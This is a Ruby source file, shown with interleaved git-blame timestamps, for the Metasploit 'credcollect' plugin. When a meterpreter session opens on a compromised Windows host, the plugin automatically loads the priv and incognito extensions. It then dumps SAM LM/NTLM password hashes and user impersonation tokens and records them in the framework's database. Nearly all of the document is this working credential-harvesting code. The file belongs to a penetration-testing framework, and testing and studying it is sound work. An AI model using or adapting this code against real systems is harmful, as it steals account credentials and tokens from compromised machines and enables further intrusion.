2010-05-03 17:13:09 +00:00
|
|
|
#
|
|
|
|
# $Id$
|
|
|
|
#
|
2009-03-28 07:44:44 +00:00
|
|
|
# credcollect - tebo[at]attackresearch.com
|
2010-05-03 17:13:09 +00:00
|
|
|
#
|
|
|
|
# $Revision$
|
|
|
|
#
|
|
|
|
|
2009-03-28 07:44:44 +00:00
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Plugin::CredCollect < Msf::Plugin
|
|
|
|
include Msf::SessionEvent
|
|
|
|
|
|
|
|
class CredCollectCommandDispatcher
|
|
|
|
include Msf::Ui::Console::CommandDispatcher
|
|
|
|
|
|
|
|
def name
|
|
|
|
"credcollect"
|
|
|
|
end
|
|
|
|
|
|
|
|
def commands
|
|
|
|
{
|
2011-08-10 20:33:42 +00:00
|
|
|
"db_hashes" => "Dumps hashes (deprecated: use 'creds -s smb')",
|
|
|
|
"db_tokens" => "Dumps tokens (deprecated: use 'notes -t smb_token')"
|
2009-03-28 07:44:44 +00:00
|
|
|
}
|
|
|
|
end
|
|
|
|
|
|
|
|
def cmd_db_hashes()
|
2010-08-18 19:18:27 +00:00
|
|
|
print_error ""
|
2011-08-10 20:33:42 +00:00
|
|
|
print_error "db_hashes is deprecated. Use 'creds -s smb' instead."
|
2010-08-18 19:18:27 +00:00
|
|
|
print_error ""
|
2009-03-28 07:44:44 +00:00
|
|
|
end
|
2010-03-11 13:54:10 +00:00
|
|
|
|
2009-03-28 07:44:44 +00:00
|
|
|
def cmd_db_tokens()
|
2010-08-18 19:18:27 +00:00
|
|
|
print_error ""
|
2011-08-10 20:33:42 +00:00
|
|
|
print_error "db_tokens is deprecated. Use 'notes -t smb_token' instead."
|
2010-08-18 19:18:27 +00:00
|
|
|
print_error ""
|
2009-03-28 07:44:44 +00:00
|
|
|
end
|
2010-08-18 19:18:27 +00:00
|
|
|
|
2009-03-28 07:44:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def on_session_open(session)
|
2010-03-11 13:54:10 +00:00
|
|
|
|
2009-03-30 02:55:13 +00:00
|
|
|
return if not self.framework.db.active
|
2010-03-11 13:54:10 +00:00
|
|
|
|
2009-03-28 07:44:44 +00:00
|
|
|
print_status("This is CredCollect, I have the conn!")
|
2010-03-11 13:54:10 +00:00
|
|
|
|
2009-03-28 07:44:44 +00:00
|
|
|
if (session.type == "meterpreter")
|
2010-03-11 13:54:10 +00:00
|
|
|
|
2009-03-28 07:44:44 +00:00
|
|
|
# Make sure we're rockin Priv and Incognito
|
|
|
|
session.core.use("priv")
|
|
|
|
session.core.use("incognito")
|
|
|
|
|
|
|
|
# It wasn't me mom! Stinko did it!
|
|
|
|
hashes = session.priv.sam_hashes
|
2010-03-11 13:54:10 +00:00
|
|
|
|
2009-03-28 07:44:44 +00:00
|
|
|
# Target infos for the db record
|
|
|
|
addr = session.sock.peerhost
|
2010-08-18 19:18:27 +00:00
|
|
|
# This ought to read from the exploit's datastore.
|
|
|
|
# Use the meterpreter script if you need to control it.
|
|
|
|
smb_port = 445
|
2009-03-28 07:44:44 +00:00
|
|
|
|
2010-01-19 19:08:54 +00:00
|
|
|
# Record hashes to the running db instance
|
2009-12-29 23:48:45 +00:00
|
|
|
hashes.each do |hash|
|
|
|
|
data = {}
|
2010-08-18 19:18:27 +00:00
|
|
|
data[:host] = addr
|
|
|
|
data[:port] = smb_port
|
|
|
|
data[:sname] = 'smb'
|
|
|
|
data[:user] = hash.user_name
|
|
|
|
data[:pass] = hash.lanman + ":" + hash.ntlm
|
|
|
|
data[:type] = "smb_hash"
|
|
|
|
data[:active] = true
|
2009-12-29 23:48:45 +00:00
|
|
|
|
|
|
|
self.framework.db.report_auth_info(data)
|
2009-03-28 07:44:44 +00:00
|
|
|
end
|
2009-12-29 23:48:45 +00:00
|
|
|
|
2009-03-28 07:44:44 +00:00
|
|
|
# Record user tokens
|
|
|
|
tokens = session.incognito.incognito_list_tokens(0).values
|
|
|
|
# Meh, tokens come to us as a formatted string
|
2009-12-29 23:48:45 +00:00
|
|
|
tokens = tokens.join.strip!.split("\n")
|
2009-03-28 07:44:44 +00:00
|
|
|
|
|
|
|
tokens.each do |token|
|
2009-12-29 23:48:45 +00:00
|
|
|
data = {}
|
2010-04-20 03:10:48 +00:00
|
|
|
data[:host] = addr
|
2010-08-18 19:18:27 +00:00
|
|
|
data[:type] = 'smb_token'
|
|
|
|
data[:data] = token
|
|
|
|
data[:update] = :unique_data
|
2009-03-28 07:44:44 +00:00
|
|
|
|
2010-08-18 19:18:27 +00:00
|
|
|
self.framework.db.report_note(data)
|
2009-03-28 07:44:44 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2010-03-11 13:54:10 +00:00
|
|
|
def on_session_close(session,reason='')
|
2009-03-28 07:44:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def initialize(framework, opts)
|
|
|
|
super
|
|
|
|
self.framework.events.add_session_subscriber(self)
|
|
|
|
add_console_dispatcher(CredCollectCommandDispatcher)
|
|
|
|
end
|
|
|
|
|
|
|
|
def cleanup
|
|
|
|
self.framework.events.remove_session_subscriber(self)
|
|
|
|
remove_console_dispatcher('credcollect')
|
|
|
|
end
|
|
|
|
|
|
|
|
def name
|
2009-11-05 18:20:44 +00:00
|
|
|
"db_credcollect"
|
2009-03-28 07:44:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def desc
|
|
|
|
"Automatically grabs hashes and tokens from meterpreter session events and stores them in the db"
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|
2010-03-11 13:54:10 +00:00
|
|
|
|